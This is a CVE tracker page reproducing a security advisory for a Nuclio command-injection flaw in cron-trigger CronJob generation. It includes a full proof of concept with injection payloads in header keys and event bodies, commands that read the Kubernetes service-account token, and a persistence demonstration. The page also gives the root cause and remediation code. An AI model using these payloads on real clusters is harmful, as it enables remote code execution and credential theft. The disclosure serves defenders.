CVE-2026-52831

CRITICALPre-NVD 10.010.0
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 10.0 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
10.0
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 10.0Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE

Summary

Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, `). Two fields in the trigger specification flow into this string without adequate sanitization:

  • event.headers keys — interpolated verbatim inside double-quoted --header arguments (lazy.go:2150); any key containing " breaks the quoting context.
  • event.body — processed with strconv.Quote, which escapes " and \ but not $(), allowing command substitution (lazy.go:2188).

Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).

  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H9.9 (Critical)
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Affected versions: Nuclio <= 1.15.27 (latest, dynamically verified)


Details

Root Cause

When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.

Path-A — Header key injection (lazy.go:2146-2151)

// lazy.go:2146-2151
headersAsCurlArg := ""
for headerKey := range attributes.Event.Headers {
    headerValue := attributes.Event.GetHeaderString(headerKey)
    headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
        headersAsCurlArg, headerKey, headerValue)
    //                              ↑
    //                   headerKey is user-controlled; no escaping applied
}

headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.

Attack string for headerKey:

X-Inject"; ARBITRARY_COMMAND; echo "

Resulting shell command fragment:

--header "X-Inject"; ARBITRARY_COMMAND; echo ": value"

Path-B — Body command substitution (lazy.go:2173-2192)

// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
    strconv.Quote(eventBody),   // escapes " → \" and \ → \\, but NOT $()
    eventBodyFilePath,
    curlCommand,
    eventBodyCurlArg)

strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.

Attack string for event.body:

$(ARBITRARY_COMMAND)

Resulting shell command:

echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ...

Execution sink (lazy.go:2212)

// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}

The entire concatenated string — including any injected content — is executed by the shell.

Persistence mechanism

The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:

// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.


PoC

Environment Setup

The following steps reproduce the vulnerability in an isolated local environment.

Step 1 — Install prerequisites

# kind (Kubernetes-in-Docker)
curl -Lo /usr/local/bin/kind \
    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind

Helm

curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

Step 2 — Create isolated kind cluster

kind create cluster --name vul-010
kubectl cluster-info --context kind-vul-010

Expected output:

Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 3 — Deploy Nuclio (latest 1.15.27)

helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update

kubectl create namespace nuclio

helm install nuclio nuclio/nuclio \ --namespace nuclio \ --kube-context kind-vul-010 \ --version 0.21.27 \ --set dashboard.enabled=true \ --set controller.enabled=true

Wait for the controller to become ready:

kubectl wait --for=condition=Available deployment/nuclio-controller \
    -n nuclio --context kind-vul-010 --timeout=120s

Step 4 — Create a NuclioProject

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
  name: default
  namespace: nuclio
spec:
  description: "default project"
EOF

Step 5 — Prepare a placeholder image for the function deployment

The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:

# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010

Also load the CronJob runner image (appropriate/curl or any sh-capable image)

docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest kind load docker-image appropriate/curl:latest --name vul-010


Exploitation — Path-A: Header Key Injection

Step 6 — Create a NuclioFunction with malicious header key

The injection payload in the header key is:

X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-rce-visible
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          headers:
            X-Normal: safe-value
            'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
  minReplicas: 1
  maxReplicas: 1
EOF

Step 7 — Trigger the controller to create the CronJob

kubectl patch nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Wait ~10 seconds for the controller to reconcile, then list CronJobs:

kubectl get cronjob -n nuclio --context kind-vul-010

Expected output:

NAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE
nuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0                  12s

Step 8 — Inspect the generated CronJob command (static confirmation)

CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \ -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \ | python3 -m json.tool

Actual output from verification:

[
    "/bin/sh",
    "-c",
    "curl --silent  --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused"
]

The injected commands are clearly embedded between the shell-separated statements.

Step 9 — Manually trigger a CronJob run (dynamic confirmation)

kubectl create job --from=cronjob/"$CJ_NAME" \
    vul010-rce-proof -n nuclio --context kind-vul-010

Wait for the pod to complete

kubectl wait pod -n nuclio --context kind-vul-010 \ -l job-name=vul010-rce-proof \ --for=condition=Ready --timeout=30s 2>/dev/null || true

POD=$(kubectl get pods -n nuclio --context kind-vul-010 \ -l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD" -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
===RCE_CONFIRMED===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...
  • Line 1: curl exits immediately at "X-Inject" (no curl binary in alpine)
  • Line 2: echo "===RCE_CONFIRMED===" executes — injection confirmed
  • Line 3: id executes — container runs as uid=0 (root)
  • Line 4: cat .../token | head -c 50 exfiltrates the first 50 bytes of the K8s SA token


Exploitation — Path-B: Body Command Substitution

Step 10 — Create a NuclioFunction with malicious event body

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-body-inject
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-body:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          body: "$(id 1>&2; echo BODY_INJECTION_PROOF)"
  minReplicas: 1
  maxReplicas: 1
EOF

kubectl patch nucliofunction vul010-body-inject -n nuclio \ --context kind-vul-010 \ --type=merge \ -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Step 11 — Verify CronJob command (static)

sleep 15
CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -l "nuclio.io/function-name=vul010-body-inject" \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME_B" -n nuclio --context kind-vul-010 \ -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \ | python3 -m json.tool

Actual output from verification:

[
    "/bin/sh",
    "-c",
    "echo \"$(id 1>&2; echo BODY_INJECTION_PROOF)\" > /tmp/eventbody.out && curl --silent  --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-body-inject\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..."
]

$() is present unescaped inside a double-quoted string passed to /bin/sh -c.

Step 12 — Dynamic execution

kubectl create job --from=cronjob/"$CJ_NAME_B" \
    vul010-body-proof -n nuclio --context kind-vul-010

POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \ -l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD_B" -n nuclio --context kind-vul-010

Actual pod log output from verification:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/bin/sh: curl: not found

id ran as root via $() expansion before curl was even attempted.


Persistence Verification

Step 13 — Confirm CronJob has no ownerReferences

kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.metadata.ownerReferences}'

Expected: empty (no output)

Step 14 — Simulate controller crash during function deletion

# Stop the controller
kubectl scale deployment nuclio-controller -n nuclio \
    --context kind-vul-010 --replicas=0

Delete the function

kubectl delete nucliofunction vul010-rce-visible -n nuclio \ --context kind-vul-010

sleep 5

Function is gone — CronJob remains

kubectl get nucliofunction -n nuclio --context kind-vul-010 kubectl get cronjob -n nuclio --context kind-vul-010

Actual output from verification:

# NuclioFunctions:
NAME                  AGE
vul010-body-inject2   2m30s
(vul010-rce-visible deleted — not listed)

CronJobs:

NAME SCHEDULE SUSPEND ACTIVE nuclio-cron-job-d84tj8lmuaqc73arn170 */1 * * * * False 0 (CronJob belonging to the deleted function — still running)

Step 15 — Execute the persistent backdoor

kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \
    vul010-persist-backdoor -n nuclio --context kind-vul-010

kubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
PERSISTENT_BACKDOOR_ACTIVE
: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...

The injected command executes after the source function has been deleted.


Cleanup

kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null
kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null
kind delete cluster --name vul-010


Impact

Remote Code Execution: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.

Runs as root: Every CronJob pod confirmed running as uid=0(root) during verification.

ServiceAccount token exfiltration: The pod's mounted SA token (/var/run/secrets/ kubernetes.io/serviceaccount/token) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected curl call. This token enables:

  • Enumeration of Kubernetes API resources in the nuclio namespace
  • In misconfigured clusters, cluster-wide API access

Persistent backdoor: The CronJob resource has no ownerReferences and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.

Cloud environment lateral movement: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.


Severity

Critical — CVSS 3.1 Score: 9.9

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

| Metric | Value | Rationale | |---|---|---| | Attack Vector | Network | Dashboard is network-accessible | | Attack Complexity | Low | No preconditions; straightforward payload | | Privileges Required | None | NOP auth is the default configuration | | User Interaction | None | Fully automated via API | | Scope | Changed | Impact crosses pod boundary into cluster | | Confidentiality | High | SA token, secrets readable | | Integrity | High | Arbitrary command execution as root | | Availability | High | Persistent CronJob can exhaust cluster resources |


Affected Versions

All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.

  • Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified)
  • Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)


Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.4


Workarounds

  • Network-level restriction: Place the Nuclio Dashboard behind an authenticated
reverse proxy or restrict port 8070 to trusted networks only. This limits who can submit function specifications.
  • Disable cron triggers: If cron trigger functionality is not required, avoid creating
functions with
kind: cron triggers.
  • RBAC restriction: Remove the batch API group permission from the Nuclio controller
ServiceAccount to prevent CronJob creation. Note: this disables cron trigger functionality entirely.

None of the above eliminate the root cause; they only reduce exposure.


Resources

  • Vulnerable file: pkg/platform/kube/functionres/lazy.go
  • Path-A: line 2150 — header key interpolation
  • Path-B: lines 2188-2189 — body interpolation with strconv.Quote
  • Execution sink: line 2212 — Args: []string{"/bin/sh", "-c", curlCommand}
  • Go strconv.Quote documentation: does not escape $, (, ), or backticks
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • CVSS 3.1 Calculator: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


Remediation

P0 — Eliminate the shell layer (preferred fix)

Replace the /bin/sh -c invocation with an exec-format argument list. This removes shell interpretation entirely:

// Current (vulnerable): lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}

// Fixed: build curl args as a []string slice func buildCurlArgs(headers map[string]string, body, address string) []string { args := []string{"curl", "--silent"} for k, v := range headers { args = append(args, "--header", k+": "+v) } if body != "" { args = append(args, "--data", body) } args = append(args, "--retry", "10", "--retry-delay", "1", "--retry-max-time", "10", "--retry-connrefused", address) return args }

// Container spec: Container{ Command: nil, Args: buildCurlArgs(headersMap, eventBody, functionAddress), }

With exec format, each argument is passed directly to the process without shell interpretation. No quoting or escaping is needed.

P1 — Shell-safe quoting (fallback if shell is required)

If the shell invocation must be retained, apply proper POSIX shell quoting to all user-supplied values before interpolation. The equivalent of Python's shlex.quote must be implemented in Go:

func shellQuote(s string) string {
    return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}

Apply to both headerKey, headerValue, and eventBody` before inserting into the command string.

CVSS v3
10.0
EG Score
10.0(low)
EPSS
KEV
Not listed

Published

July 8, 2026

Last Modified

July 8, 2026

Vendor Advisories for CVE-2026-52831(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 42× in last 7d / 44× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-15 21:25 UTCEG score recompute
  2. 2026-07-15 17:30 UTCEG score recompute
  3. 2026-07-15 13:35 UTCEG score recompute
  4. 2026-07-15 09:39 UTCEG score recompute
  5. 2026-07-15 05:43 UTCEG score recompute
  6. 2026-07-15 01:47 UTCEG score recompute
  7. 2026-07-14 21:53 UTCEG score recompute
  8. 2026-07-14 17:59 UTCEG score recompute
  9. 2026-07-14 13:47 UTCEG score recompute
  10. 2026-07-14 09:50 UTCEG score recompute
  11. 2026-07-14 05:54 UTCEG score recompute
  12. 2026-07-14 01:59 UTCEG score recompute
  13. 2026-07-13 22:04 UTCEG score recompute
  14. 2026-07-13 18:10 UTCEG score recompute
  15. 2026-07-13 14:15 UTCEG score recompute
  16. 2026-07-13 10:20 UTCEG score recompute
  17. 2026-07-13 06:25 UTCEG score recompute
  18. 2026-07-13 02:30 UTCEG score recompute
  19. 2026-07-12 22:34 UTCEG score recompute
  20. 2026-07-12 18:40 UTCEG score recompute
  21. 2026-07-12 14:45 UTCEG score recompute
  22. 2026-07-12 10:50 UTCEG score recompute
  23. 2026-07-12 06:55 UTCEG score recompute
  24. 2026-07-12 03:00 UTCEG score recompute
  25. 2026-07-11 23:06 UTCEG score recompute
Show 19 more
  1. 2026-07-11 19:12 UTCEG score recompute
  2. 2026-07-11 15:18 UTCEG score recompute
  3. 2026-07-11 11:24 UTCEG score recompute
  4. 2026-07-11 07:29 UTCEG score recompute
  5. 2026-07-11 03:34 UTCEG score recompute
  6. 2026-07-10 23:40 UTCEG score recompute
  7. 2026-07-10 19:45 UTCEG score recompute
  8. 2026-07-10 15:50 UTCEG score recompute
  9. 2026-07-10 11:55 UTCEG score recompute
  10. 2026-07-10 08:01 UTCEG score recompute
  11. 2026-07-10 04:06 UTCEG score recompute
  12. 2026-07-10 00:11 UTCEG score recompute
  13. 2026-07-09 20:17 UTCEG score recompute
  14. 2026-07-09 16:22 UTCEG score recompute
  15. 2026-07-09 12:26 UTCEG score recompute
  16. 2026-07-09 08:31 UTCEG score recompute
  17. 2026-07-09 04:37 UTCEG score recompute
  18. 2026-07-09 00:42 UTCEG score recompute
  19. 2026-07-08 20:46 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-52831?
CVE-2026-52831 is a critical vulnerability published on July 8, 2026. Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE Summary Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the…
When was CVE-2026-52831 disclosed?
CVE-2026-52831 was first published in the National Vulnerability Database on July 8, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-52831?
CVE-2026-52831 has a CVSS v4.0 base score of 10.0 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-52831?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-52831, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-52831

Explore →

Is Your Infrastructure Affected by CVE-2026-52831?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.